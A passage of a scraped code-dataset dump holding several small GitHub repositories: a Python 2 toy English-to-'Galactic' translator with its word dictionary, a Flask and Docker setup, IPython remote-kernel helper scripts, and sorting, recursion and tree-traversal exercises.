dict[\"rather\"]= \"dja\"\n dict[\"receive\"]= \"tano\"\n dict[\"received\"]= \"kitm\"\n dict[\"receives\"]= \"kiol\"\n dict[\"rejoices\"]= \"errab\"\n dict[\"remains\"]= \"dadalel\"\n dict[\"rest\"]= \"enmak\"\n dict[\"resurrection\"]= \"litf\"\n dict[\"retribution\"]= \"nevns\"\n dict[\"revealed\"]= \"domu\"\n dict[\"reveals\"]= \"resopro\"\n dict[\"reward\"]= \"nbarar\"\n dict[\"root\"]= \"lsurh\"\n dict[\"ruler\"]= \"linpa\"\n dict[\"s\"]= \"redra\"\n dict[\"said\"]= \"naal\"\n dict[\"salim\"]= \"sapekaw\"\n dict[\"same\"]= \"waek\"\n dict[\"saved\"]= \"tostsibu\"\n dict[\"seal\"]= \"dwt\"\n dict[\"second\"]= \"eratan\"\n dict[\"see\"]= \"tatkk\"\n dict[\"seen\"]= \"attah\"\n dict[\"send\"]= \"rard\"\n dict[\"sent\"]= \"vnosuso\"\n dict[\"serpent\"]= \"keba\"\n dict[\"set\"]= \"tksekaha\"\n dict[\"should\"]= \"mahon\"\n dict[\"signs\"]= \"rosod\"\n dict[\"silence\"]= \"hlor\"\n dict[\"so\"]= \"masor\"\n dict[\"solutions\"]= \"ntemee\"\n dict[\"some\"]= \"penti\"\n dict[\"son\"]= \"kpbuti\"\n dict[\"sound\"]= \"kahamup\"\n dict[\"speak\"]= \"lsym\"\n dict[\"speaks\"]= \"vjomk\"\n dict[\"spirit\"]= \"rtesep\"\n dict[\"stands\"]= \"tarhot\"\n dict[\"stayed\"]= \"nhosnu\"\n dict[\"such\"]= \"cahb\"\n dict[\"supreme\"]= \"hubp\"\n dict[\"t\"]= \"tivse\"\n dict[\"teacher\"]= \"hnebis\"\n dict[\"tell\"]= \"nihi\"\n dict[\"testified\"]= \"tetreklc\"\n dict[\"testifies\"]= \"esdaan\"\n dict[\"testify\"]= \"ajtoh\"\n dict[\"than\"]= \"pnov\"\n dict[\"that\"]= \"rtkak\"\n dict[\"the\"]= \"bbebiterah\"\n dict[\"their\"]= \"yms\"\n dict[\"them\"]= \"cavhbudet\"\n dict[\"there\"]= \"ssavke\"\n dict[\"therefore\"]= \"mrml\"\n dict[\"these\"]= \"akap\"\n dict[\"they\"]= \"rbakan\"\n dict[\"things\"]= \"rhlt\"\n dict[\"this\"]= \"hsjecnejis\"\n dict[\"through\"]= \"rasnadni\"\n dict[\"thrown\"]= \"jetha\"\n dict[\"til\"]= \"nlar\"\n dict[\"time\"]= \"irnos\"\n dict[\"to\"]= \"stanuc\"\n dict[\"told\"]= \"kasu\"\n dict[\"torah\"]= \"legokah\"\n dict[\"translated\"]= \"gpijara\"\n dict[\"true\"]= \"panuhk\"\n dict[\"truth\"]= \"whpna\"\n dict[\"understand\"]= \"tuo\"\n dict[\"unity\"]= \"pahe\"\n dict[\"unknown\"]= \"nhnori\"\n dict[\"unless\"]= \"barek\"\n dict[\"unparalleled\"]= \"safkas\"\n dict[\"up\"]= \"makysan\"\n dict[\"us\"]= \"shalla\"\n dict[\"voice\"]= \"nenraw\"\n dict[\"walk\"]= \"nanj\"\n dict[\"wants\"]= \"vams\"\n dict[\"was\"]= \"gobba\"\n dict[\"water\"]= \"tpan\"\n dict[\"we\"]= \"alpoan\"\n dict[\"were\"]= \"same\"\n dict[\"what\"]= \"mobna\"\n dict[\"when\"]= \"arkoed\"\n dict[\"where\"]= \"ronka\"\n dict[\"which\"]= \"ndi\"\n dict[\"who\"]= \"npolat\"\n dict[\"whoever\"]= \"syal\"\n dict[\"whom\"]= \"sojrapaki\"\n dict[\"wilderness\"]= \"mernir\"\n dict[\"will\"]= \"samla\"\n dict[\"wind\"]= \"atmaar\"\n dict[\"wisdom\"]= \"atnn\"\n dict[\"with\"]= \"vbresndd\"\n dict[\"within\"]= \"bsapao\"\n dict[\"without\"]= \"ahyb\"\n dict[\"witness\"]= \"rush\"\n dict[\"womb\"]= \"hbk\"\n dict[\"won\"]= \"motoj\"\n dict[\"word\"]= \"rasirs\"\n dict[\"words\"]= \"kilsa\"\n dict[\"works\"]= \"tcvol\"\n dict[\"world\"]= \"habta\"\n dict[\"worship\"]= \"puc\"\n dict[\"would\"]= \"artak\"\n dict[\"wrath\"]= \"tarra\"\n dict[\"yet\"]= \"kakvo\"\n dict[\"you\"]= \"vpm\"\n dict[\"your\"]= \"psbesanasos\"\n\n\n\ndef usage():\n print \"Help information here.\"\n print \"*help - this report\" \n print \"*pItlh - end program\"\n print \"*dict - dump out the dictionary\"\n print \"*lang - what is the current language?\"\n print \"lang XXX - load xxx.lng from language file archive\"\n print \"ADD eng gal = add English word mapped to Galactic\"\n print \"WRITE LANG - saves LANG.lng to language directory\"\n print\n print \"Command line: \"\n print \"-h, --help : usage\"\n print \"-l, --lang= : set language\"\n print \"-q : minimal output\"\n print \"--phrase= : translate phrase\"\n print \"--home= : specify home for .lng files\"\n print\n print\n \ndef loadlang(language):\n global currlang\n currlang = language \n \n language = filehome+language+\".lng\"\n if verbose == 1:\n print \"loading \"+language\n wcount = 0\n\n if os.path.isfile((language)):\n with open(language) as f:\n try:\n for line in f:\n line = line.strip(\"\\n\");\n (key, val) = line.split('\",')\n val = val.strip('\"') #remove terminal \"\n val = val.strip(' \"')#remove initial ' \"'\n dict[string.strip(key, '\"')] = string.strip(val, '\"')\n wcount += 1\n except:\n\n # end of file\n \n f.close()\n \n if verbose == 1:\n print str(wcount) + \" words read\"\n\n else:\n if verbose == 1:\n print language + \" not found\"\n print \"building Bajoran vocabulary\"\n bajor()\n\n #build reverse dictionary\n\n for english in dict:\n gdict[dict[english]] = english\n\n\n\n\n#collect command line options\n\ntry: \n (opts, args) = getopt.getopt(sys.argv[1:], \"qhl:d\", [\"help\", \"lang=\",\"phrase=\",\"home=\"])\n\n for opt, arg in opts: \n if opt in (\"-h\", \"--help\"): \n usage() \n sys.exit() \n elif opt in (\"-l\", \"--lang\"):\n nulang = arg\n elif opt in (\"-p\", \"--phrase\"):\n phrase = arg\n elif opt in (\"-q\"):\n verbose = 0\n elif opt in (\"--home\"):\n filehome = arg\n\nexcept getopt.GetoptError as err:\n usage()\n sys.exit(2)\n\n\n\nif nulang == \"\":\n loadlang(\"tlhingan\")\n\nelse:\n loadlang(nulang)\n\n \nif verbose == 1:\n print \" UTA: Universal Translator Assistant\"\n print \"========================================================\"\n print \"I will map English <--> Galactic. Type '*pItlh' to end.\"\n print \" *help for usage.\" \n print \"--------------------------------------------------------\"\n\nwhile True:\n try:\n if phrase == \"\":\n inp = raw_input('? ')\n \n else:\n inp=phrase\n \n trans = 1; # flag to clear if special actions\n inpx = inp.translate(string.maketrans(\"\",\"\"),\"!#$%&()*+,-./:;<=>?@[\\]^_{|}~)\")\n a = inpx.split()\n\n#######special cases\n\n if inp == \"*help\":\n usage()\n trans = 0 # special actions\n\n\n if inp == \"*lang\":\n print \"current language:\" + currlang\n a[0]=\"\"\n trans = 0 # special actions\n\n if inp == \"?\":\n usage()\n trans = 0 # special actions\n a = (\"help\")\n\n\n if inp == \"*pItlh\":\n break\n\n if inp == \"*dict\":\n print dict\n trans = 0; # special actions\n \n if a[0] == \"lang\":\n dict = {}\n gdict = {}\n loadlang(a[1])\n trans = 0 # special actions\n\n if a[0] == \"ADD\": \n dict[a[1]] = a[2]\n gdict[a[2]] = a[1]\n trans = 0 # special actions\n\n if a[0] == \"WRITE\":\n ofile = open(filehome+a[1]+\".lng\",'w')\n #ofile.write(dict)\n #print dict\n wcount = 0\n for english in dict:\n ofile.write('\"'+english+'\", '+'\"'+dict[english]+'\"\\n')\n wcount += 1\n\n if verbose == 1:\n print str(wcount) + \" words saved\"\n ofile.close()\n trans = 0 # special actions\n\n### process input, if any\n outp = \"\"\n if a != ():\n for words in a:\n try:\n outp = outp + \" \" + dict[words]\n \n except:\n try:\n outp = outp + \" \" + gdict[words]\n except:\n outp = outp + \" \" + \"[\" + words + \"]\"\n \n if trans == 1:\n if verbose == 1:\n print \">>> \"+outp\n print\n else:\n print outp\n \n if phrase != \"\":\n break # end program\n \n except:\n break\n \n" }, { "alpha_fraction": 0.5432989597320557, "alphanum_fraction": 0.5432989597320557, "avg_line_length": 28.625, "blob_id": "ead9f5cf919b6918a7ecdff08b4cafd87f67f56a", "content_id": "a03896a95c4f56f0fb76b4911902d09bf26fb835", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 970, "license_type": "no_license", "max_line_length": 61, "num_lines": 32, "path": "/README.md", "repo_name": "mrklingon/UTA-PY", "src_encoding": "UTF-8", "text": "# UTA-PY\nUTA\n===\n \n Python Implementation of the Universal Translator Assistant\n \n UTA: Universal Translator Assistant\n ========================================================\n I will map English <--> Galactic. Type '*pItlh' to end.\n *help for usage.\n --------------------------------------------------------\n ? *help\n Help information here.\n *help - this report\n *pItlh - end program\n *dict - dump out the dictionary\n lang XXX - load xxx.lng from language file archive\n ADD eng gal = add English word mapped to Galactic\n WRITE LANG - saves LANG.lng to language directory\n \n Command line: \n -h, --help : usage\n -l, --lang= : set language\n -q : minimal output\n --phrase= : translate phrase\n --home= : specify home for .lng files\n \n ---\n utang.py - UTA in python\n langs/ - directory of .lng language files\n \n NOTE: Set filehome variable to full path for .lng fils \n \n" } ]
2
ronicelestino/flask-a-z
https://github.com/ronicelestino/flask-a-z
fd09fcbfb44ac1d9e7ddaa769600824a97bc9d01
0881bb677b8f0a40e926ccca7c6f30fbc3b13c1c
2c9feb6a5d642a005b4fea370b7843872dc8f17d
refs/heads/master
2020-11-24T23:00:05.060081
2020-01-21T19:42:52
2020-01-21T19:42:52
228,371,960
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5906432867050171, "alphanum_fraction": 0.5906432867050171, "avg_line_length": 12.15384578704834, "blob_id": "7d96f37275ddd23da45163a3f05f77a8b4b22652", "content_id": "62a84a42d3bbd52c2e71072f769f230db2a28a00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "no_license", "max_line_length": 29, "num_lines": 13, "path": "/app/blueprints/home.py", "repo_name": "ronicelestino/flask-a-z", "src_encoding": "UTF-8", "text": "from flask import Blueprint\n\n\nhome = Blueprint(\n 'home',\n __name__,\n template_folder='views',\n )\n\n\[email protected]('/')\ndef index():\n return 'Meu primeiro run'\n" }, { "alpha_fraction": 0.7657142877578735, "alphanum_fraction": 0.7771428823471069, "avg_line_length": 28.33333396911621, "blob_id": "9d909ae713ed99d6732a0fc358893f3084c04f0d", "content_id": "39031a7ce59465c943bd28a8d12226336a15cc65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 175, "license_type": "no_license", "max_line_length": 89, "num_lines": 6, "path": "/README.md", "repo_name": "ronicelestino/flask-a-z", "src_encoding": "UTF-8", "text": "# flask-a-z\n\nCREATE DATABASE livro_flask CHARACTER SET UTF8 collate utf8_general_ci\n\n\npython migrate.py db init && python migrate.py db migrate && python migrate.py db upgrade" }, { "alpha_fraction": 0.7098976373672485, "alphanum_fraction": 0.723549485206604, "avg_line_length": 15.166666984558105, "blob_id": "d5bfe906bae2a789b67a3458d01e0ddada24cc3e", "content_id": "d73ae85165b46b2e2d1aef2014c90c99e6b98a8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 293, "license_type": "no_license", "max_line_length": 42, "num_lines": 18, "path": "/Dockerfile", "repo_name": "ronicelestino/flask-a-z", "src_encoding": "UTF-8", "text": "FROM python:3.7-buster\n\nWORKDIR /app\nENV PYTHONDONTWRITEBYTECODE 1\nENV PYTHONUNBUFFERED 1\n\nRUN apt-get update && apt-get install -y \\\n wget \\\n python-dev \\\n default-libmysqlclient-dev\n\nADD ./requirements.txt /requirements.txt\n\nRUN pip install -r /requirements.txt\n\n\n\nADD ./app /app\n\n\n" }, { "alpha_fraction": 0.5445840954780579, "alphanum_fraction": 0.5709156394004822, "avg_line_length": 20.701297760009766, "blob_id": "46ae6d1ff778735c8d98592c35e75d0ed63c35de", "content_id": "f7aec2c196db0ab28add531d1b23945e0819e161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 1671, "license_type": "no_license", "max_line_length": 68, "num_lines": 77, "path": "/docker-compose.yml", "repo_name": "ronicelestino/flask-a-z", "src_encoding": "UTF-8", "text": "version: \"3\"\n\nservices:\n app:\n build:\n context: .\n container_name: flask_a_z\n ports:\n - \"8000:8000\"\n - \"5000:5000\"\n volumes:\n - ./app:/app\n environment:\n - FLASK_ENV=development\n - DB_HOST=${DB_HOST:-mysql}\n - DB_NAME=${DB_NAME:-mysql}\n - DB_USER=${DB_USER:-mysql}\n - DB_PASS=${DB_PASSWORD:-changeme}\n command: >\n sh -c \"python run.py\"\n networks:\n - mysql\n depends_on:\n - mysql \n mysql: \n image: mysql\n container_name: mysql_flask\n command: --default-authentication-plugin=mysql_native_password\n environment:\n MYSQL_DATABASE: ${MYSQL_DATABASE:-mysql}\n MYSQL_USER: ${MYSQL_USER:-mysql}\n MYSQL_PASSWORD: ${MYSQL_PASSWORD:-changeme}\n MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD:-changeme}\n volumes:\n - ./volumes/mysql:/var/lib/mysql\n ports:\n - \"3306:3306\"\n networks:\n - mysql\n restart: unless-stopped\n\n\n # postgres: \n # image: postgres:11.1\n # container_name: postgres\n # environment:\n # POSTGRES_DB: ${POSTGRES_DB:-postgres}\n # POSTGRES_USER: ${POSTGRES_USER:-postgres}\n # POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-changeme}\n # volumes:\n # - ./volumes/postgres:/var/lib/postgresql/data\n # ports:\n # - \"5432:5432\"\n # networks:\n # - postgres\n # restart: unless-stopped\n\n adminer: \n image: adminer\n container_name: adminer_flask\n ports:\n - \"8080:8080\"\n networks:\n - mysql\n restart: unless-stopped\n networks:\n - mysql\n depends_on:\n - mysql\n\nnetworks:\n mysql:\n driver: bridge\n\nvolumes:\n mysql:\n adminer:\n" } ]
4
yluo24/python-docs-hello-django
https://github.com/yluo24/python-docs-hello-django
7e15d95207967918c407ab703805ede7c6681bd0
995939e1adea4588e2b680d7447027145f42de88
241170cd52d7b85d35441bff94f3fbce40dd41b3
refs/heads/main
2023-04-20T05:57:18.212511
2021-05-13T16:28:50
2021-05-13T16:28:50
366,837,613
0
0
MIT
2021-05-12T19:54:35
2021-05-01T05:01:34
2020-09-30T15:16:08
null
[ { "alpha_fraction": 0.7818182110786438, "alphanum_fraction": 0.7818182110786438, "avg_line_length": 32, "blob_id": "52977c41d9085988b1f1f86489259f750e690fe4", "content_id": "25cfdfa39e864fe85f2441a79f83e850bd29aa80", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 165, "license_type": "permissive", "max_line_length": 70, "num_lines": 5, "path": "/hello/views.py", "repo_name": "yluo24/python-docs-hello-django", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse\nfrom django.shortcuts import render\n\ndef hello(request):\n return HttpResponse(\"Hello from Sara! This is a Web App on Azure\")\n" } ]
1
davidahirshberg/vim-ipython
https://github.com/davidahirshberg/vim-ipython
0aaaefa6569bc457d655d52abd6b9e023bbf955a
07e768d1b693bac244c2b61ff58e40b296f159f1
fbaa95a9b14a8439c564b0c6adf9c561e4f040e0
refs/heads/master
2021-01-21T12:03:26.266499
2013-02-03T06:39:18
2013-02-03T06:39:18
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6430953741073608, "alphanum_fraction": 0.6484323143959045, "avg_line_length": 35.56097412109375, "blob_id": "3437e103613a6473770ad50b7e6e471e270b4f97", "content_id": "fe21004de1830d93a3d3a1357a08803afb6a38a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1499, "license_type": "no_license", "max_line_length": 92, "num_lines": 41, "path": "/ipy-kernel.py", "repo_name": "davidahirshberg/vim-ipython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys, os, subprocess, platform, time, json\n\nconfig = dict(ipython_dir='~/.ipython',\n profile='default',\n name=sys.argv[1],\n force='-f' in sys.argv)\n\nsecurity_dir = os.path.join(config['ipython_dir'], 'profile_'+config['profile'], 'security')\ndef kernel_file(name):\n name, ext = os.path.splitext(name)\n return os.path.expanduser(os.path.join(security_dir, '{}.json'.format(name)))\n\ndef start_process():\n proc=subprocess.Popen('ipython kernel --profile={profile}'.format(**config), \n shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n proc.stdout.readline()\n # should be: '[IPKernelApp] To connect another client to this kernel, use:\\n'\n kernel_line = proc.stdout.readline()\n # should be something like: '[IPKernelApp] --existing kernel-65040.json\\n'\n filename = kernel_line.split()[2]\n return filename, proc\n\ndef augment_kernel_file(filename):\n with open(kernel_file(filename), 'r') as f:\n kernel_info = json.load(f)\n kernel_info['hostname'] = platform.node()\n kernel_info['name'] = config['name']\n\n with open(kernel_file(config['name']), 'w') as f:\n json.dump(kernel_info, f)\n\nif config['force'] or not os.path.isfile(kernel_file(config['name'])):\n filename, proc = start_process()\n time.sleep(1)\n augment_kernel_file(filename)\n try: proc.wait()\n finally:\n os.remove(kernel_file(config['name']))\n os.remove(kernel_file(filename))\n" }, { "alpha_fraction": 0.6191819310188293, "alphanum_fraction": 0.625764012336731, "avg_line_length": 50.878047943115234, "blob_id": "900e350f8bfacddd9c271a50584d1eff5c238cd5", "content_id": "33d2ae54dd6685c846c69d402378c67bcc6730d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2127, "license_type": "no_license", "max_line_length": 168, "num_lines": 41, "path": "/ipy-remote.py", "repo_name": "davidahirshberg/vim-ipython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys, os, subprocess, json\n\nconfig=dict(hostname='huxley', # needn't be the host of the kernel -- if the host is specified in the kernel json file (see ipk.py), that will be used instead\n name=sys.argv[1] if len(sys.argv) > 0 else \"*\",\n profile_dir = '~/.ipython/profile_default')\n\n# get ports for most recently started kernel\nkernel_info_json = subprocess.check_output(\"ssh -t {hostname} 'cd {profile_dir}/security && cat `ls -t {name}.json | tail -n1`'\".format(**config), shell=True) \nkernel_info = json.loads(kernel_info_json)\n\n# forward appropriate ports\n# we may have sessions open with kernels on multiple machines, so remote ports may be used more than once\n# locally, use ports defined by the session name, which is unique\nall_roles = [role for role in kernel_info.keys() if role.endswith('_port')]\ndef local_port(role, name):\n return 30000 + 500*all_roles.index(role) + (hash(name) % 500)\n\nports = {role: (local_port(role, kernel_info['name']), remote_port) \n for role, remote_port in kernel_info.items() if role.endswith('_port')}\ndef forward():\n return [subprocess.Popen('ssh {hostname} -f -N -L {local_port}:localhost:{remote_port}'.format(remote_port=remote_port, \n local_port=local_port, \n hostname=kernel_info.get('hostname',config['hostname'])), shell=True)\n for (local_port, remote_port) in ports.values()]\n\n# write out local kernel info file\nfor role, (local_port,_) in ports.items():\n kernel_info[role] = local_port\nkernel_info_file = os.path.join(config['profile_dir'], 'security', '{name}.json'.format(**config))\nwith open(os.path.expanduser(kernel_info_file), 'w') as f:\n json.dump(kernel_info, f)\n\ntry: \n forward_processes = forward()\n os.system('IPython console --existing {}'.format(kernel_info_file))\nfinally:\n for proc in forward_processes:\n proc.kill()\n os.remove(os.path.expanduser(kernel_info_file))\n" }, { "alpha_fraction": 0.43478259444236755, "alphanum_fraction": 0.43478259444236755, "avg_line_length": 11, "blob_id": "83b2499d1eb3257fecb3a44dc6f0f61fcfcf2357", "content_id": "05b8eb083e847fd5dbbfb8830a5561fcbc4349c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23, "license_type": "no_license", "max_line_length": 11, "num_lines": 2, "path": "/README.md", "repo_name": "davidahirshberg/vim-ipython", "src_encoding": "UTF-8", "text": "vim-ipython\n===========" } ]
3
Leon-haoli/Erste-Projekt
https://github.com/Leon-haoli/Erste-Projekt
775543825f742f8bb197a99c780c419bf5a82dae
7340cdb355e0f8e237b401579e92c46d89c9ab3d
bbcc91313f72591354b7b609dc0df5506521e0c2
refs/heads/main
2023-01-19T18:04:55.493241
2020-11-29T20:32:07
2020-11-29T20:32:07
317,035,759
0
0
null
2020-11-29T20:20:16
2020-11-29T20:22:09
2020-11-29T20:32:07
Python
[ { "alpha_fraction": 0.5178571343421936, "alphanum_fraction": 0.5178571343421936, "avg_line_length": 16.66666603088379, "blob_id": "4ee6c895dc4cd65991f7edcd4772d695dff32476", "content_id": "f77c7077f4a3e5dc139343b2ea8ae613d324c0e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 56, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/for circule.py", "repo_name": "Leon-haoli/Erste-Projekt", "src_encoding": "UTF-8", "text": "def power(x,y):\r\n result = x**y\r\n print (result)\r\n" }, { "alpha_fraction": 0.7161290049552917, "alphanum_fraction": 0.7161290049552917, "avg_line_length": 30, "blob_id": "7662cdd1431345ab6f7ac2670684538aae269cdb", "content_id": "50d9213332c31120ec5fa114a74782bb611761b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 155, "license_type": "no_license", "max_line_length": 69, "num_lines": 5, "path": "/README.md", "repo_name": "Leon-haoli/Erste-Projekt", "src_encoding": "UTF-8", "text": "# Erste-Projekt\nErste Versuchen\nprint('Es ist meine erste Projekt')\nx = str(input('Wenn du die Lust hast, bitte gibst du deine Name: '))\nprint('Hallo',x)\n" } ]
2
PeterLD/algorithms
https://github.com/PeterLD/algorithms
4bf6c98f23cbcefe6456e71bd2399bc23942a4bf
6a9c8babf827f88df738ada4094bd9d6b05e38c5
1cad6edf045e1bb4265d0f34c3b1644a714aa95b
refs/heads/master
2021-01-23T11:55:23.323000
2013-07-20T21:11:16
2013-07-20T21:11:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6192959547042847, "alphanum_fraction": 0.6466753482818604, "avg_line_length": 27.407407760620117, "blob_id": "781ac757633d52e1b9baa25a8817e16b45a07c7d", "content_id": "c36ba470da24fcf0ac5ecdae6d180c3e6feda8b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "no_license", "max_line_length": 71, "num_lines": 27, "path": "/sorting/shell.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def shell_sort(the_list):\n sublist_count = len(the_list) // 2\n\n while sublist_count > 0:\n for start_position in range(sublist_count):\n gap_insertion_sort(the_list, start_position, sublist_count)\n\n print \"After increments of\", sublist_count, \"the list is\", the_list\n\n sublist_count = sublist_count // 2\n\n return the_list\n\n\ndef gap_insertion_sort(the_list, start, gap):\n for i in range(start + gap, len(the_list), gap):\n current_value = the_list[i]\n position = i\n\n while position >= gap and the_list[position - gap] > current_value:\n the_list[position] = the_list[position - gap]\n position = position - gap\n\n the_list[position] = current_value\n\nif __name__ == '__main__':\n print shell_sort([54, 26, 93, 17, 77, 31, 44, 55, 20])\n" }, { "alpha_fraction": 0.6206721067428589, "alphanum_fraction": 0.6267820596694946, "avg_line_length": 24.842105865478516, "blob_id": "d3905c9c2e5b325be21d5b348ce982ad306abbe0", "content_id": "8b8b1b37285ac8a7887e52ce9e9a28b8f4620f30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1964, "license_type": "no_license", "max_line_length": 84, "num_lines": 76, "path": "/trees/traversal.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "from parse_tree import build_parse_tree\nimport operator\n\n\ndef preorder_traversal(tree):\n if tree:\n print(tree.get_root_value())\n preorder_traversal(tree.get_left_child())\n preorder_traversal(tree.get_right_child())\n\n\ndef inorder_traversal(tree):\n if tree:\n inorder_traversal(tree.get_left_child())\n print(tree.get_root_value())\n inorder_traversal(tree.get_right_child())\n\n\ndef postorder_traversal(tree):\n if tree:\n postorder_traversal(tree.get_left_child())\n postorder_traversal(tree.get_right_child())\n print(tree.get_root_value())\n\n\ndef postorder_evaluation(tree):\n operators = {\n '+': operator.add,\n '-': operator.sub,\n '*': operator.mul,\n '/': operator.truediv\n }\n result_1 = None\n result_2 = None\n\n if tree:\n result_1 = postorder_evaluation(tree.get_left_child())\n result_2 = postorder_evaluation(tree.get_right_child())\n\n if result_1 and result_2:\n return operators[tree.get_root_value()](result_1, result_2)\n else:\n return tree.get_root_value()\n\n\ndef print_expression(tree):\n string_value = \"\"\n\n if tree:\n string_value = \"(\" + print_expression(tree.get_left_child())\n string_value = string_value + str(tree.get_root_value())\n string_value = string_value + print_expression(tree.get_right_child()) + \")\"\n\n return string_value\n\n\nif __name__ == '__main__':\n expression = \"( ( 10 + 5 ) * 3 )\"\n\n print \"Building parse tree for {}\".format(expression)\n tree = build_parse_tree(expression)\n\n print \"\\nPreorder traversal:\"\n preorder_traversal(tree)\n\n print \"\\nInorder traversal:\"\n inorder_traversal(tree)\n\n print \"\\nPostorder traversal:\"\n postorder_traversal(tree)\n\n print \"\\nPostorder evaluation:\"\n print \"Value: {}\".format(postorder_evaluation(tree))\n\n print \"\\nReconstructing expression from tree:\"\n print print_expression(tree)\n" }, { "alpha_fraction": 0.5879265069961548, "alphanum_fraction": 0.6272965669631958, "avg_line_length": 28.30769157409668, "blob_id": "1663d021eb6677667ffd84658534a35fa0213cce", "content_id": "7cd73df7eab874aa7458b755c7c4cc04da11a696", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 381, "license_type": "no_license", "max_line_length": 96, "num_lines": 13, "path": "/recursion/hanoi.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def move_tower(height, pole1, pole2, pole3):\n if height >= 1:\n move_tower(height - 1, pole1, pole3, pole2)\n move_disk(pole1, pole3)\n move_tower(height - 1, pole2, pole1, pole3)\n\n\ndef move_disk(from_pole, to_pole):\n print 'Moving disk from {from_pole} to {to_pole}'.format(from_pole=from_pole, to_pole=to_pole)\n\n\nif __name__ == '__main__':\n move_tower(3, 'A', 'B', 'C')\n" }, { "alpha_fraction": 0.5833333134651184, "alphanum_fraction": 0.5855262875556946, "avg_line_length": 28.901639938354492, "blob_id": "c65df2de87e164a76b4e1a297516d1dfd20b788e", "content_id": "25a0463a7a50ba9983d8d8e2b18d828306e29025", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1824, "license_type": "no_license", "max_line_length": 90, "num_lines": 61, "path": "/trees/parse_tree.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "from data_structures.linear import Stack\nfrom data_structures.trees import BinaryTree\nimport operator\n\n\ndef build_parse_tree(expression):\n expression = expression.split()\n tree_stack = Stack()\n parse_tree = BinaryTree('')\n\n tree_stack.push(parse_tree)\n current_tree = parse_tree\n\n for token in expression:\n if token == '(':\n current_tree.insert_left('')\n tree_stack.push(current_tree)\n current_tree = current_tree.get_left_child()\n\n elif token not in ['+', '-', '*', '/', ')']:\n current_tree.set_root_value(int(token))\n parent = tree_stack.pop()\n current_tree = parent\n elif token in ['+', '-', '*', '/']:\n current_tree.set_root_value(token)\n current_tree.insert_right('')\n tree_stack.push(current_tree)\n current_tree = current_tree.get_right_child()\n elif token == ')':\n current_tree = tree_stack.pop()\n else:\n raise ValueError\n\n return parse_tree\n\n\ndef evaluate_parse_tree(parse_tree):\n operators = {\n '+': operator.add,\n '-': operator.sub,\n '*': operator.mul,\n '/': operator.truediv\n }\n left_child = parse_tree.get_left_child()\n right_child = parse_tree.get_right_child()\n\n if left_child and right_child:\n function = operators[parse_tree.get_root_value()]\n return function(evaluate_parse_tree(left_child), evaluate_parse_tree(right_child))\n else:\n return parse_tree.get_root_value()\n\n\nif __name__ == '__main__':\n expression = \"( ( 10 + 5 ) * 3 )\"\n\n print \"Building parse tree for {}\".format(expression)\n tree = build_parse_tree(expression)\n\n print \"Evaluating parse tree for {}\".format(expression)\n print \"Value: {}\".format(evaluate_parse_tree(tree))\n" }, { "alpha_fraction": 0.6172480583190918, "alphanum_fraction": 0.6414728760719299, "avg_line_length": 25.487178802490234, "blob_id": "bd090336bea2c4eecaeae8e8740801637221698b", "content_id": "699cba13ef25b35df5f56cffdd3f40404f871410", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1032, "license_type": "no_license", "max_line_length": 91, "num_lines": 39, "path": "/sorting/quick.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def quick_sort(the_list):\n quick_sort_helper(the_list, 0, len(the_list) - 1)\n\n return the_list\n\n\ndef quick_sort_helper(the_list, first, last):\n if first < last:\n split_point = partition(the_list, first, last)\n\n quick_sort_helper(the_list, first, split_point - 1)\n quick_sort_helper(the_list, split_point + 1, last)\n\n\ndef partition(the_list, first, last):\n pivot_value = the_list[first]\n\n left_mark = first + 1\n right_mark = last\n done = False\n\n while not done:\n while left_mark <= right_mark and the_list[left_mark] <= pivot_value:\n left_mark = left_mark + 1\n\n while the_list[right_mark] >= pivot_value and right_mark >= left_mark:\n right_mark = right_mark - 1\n\n if right_mark < left_mark:\n done = True\n else:\n the_list[left_mark], the_list[right_mark] = the_list[right_mark], the_list[left_mark]\n\n the_list[first], the_list[right_mark] = the_list[right_mark], the_list[first]\n\n return right_mark\n\nif __name__ == '__main__':\n print quick_sort([54, 26, 93, 17, 77, 31, 44, 55, 20])" }, { "alpha_fraction": 0.5924895405769348, "alphanum_fraction": 0.6286509037017822, "avg_line_length": 28.95833396911621, "blob_id": "768f4ace2f16fc9fccd023507be75a472b9fea6f", "content_id": "19daa087dbc2a7424cde95d867dcc18b7c6f1145", "detected_licenses": [], "is_generated": false, 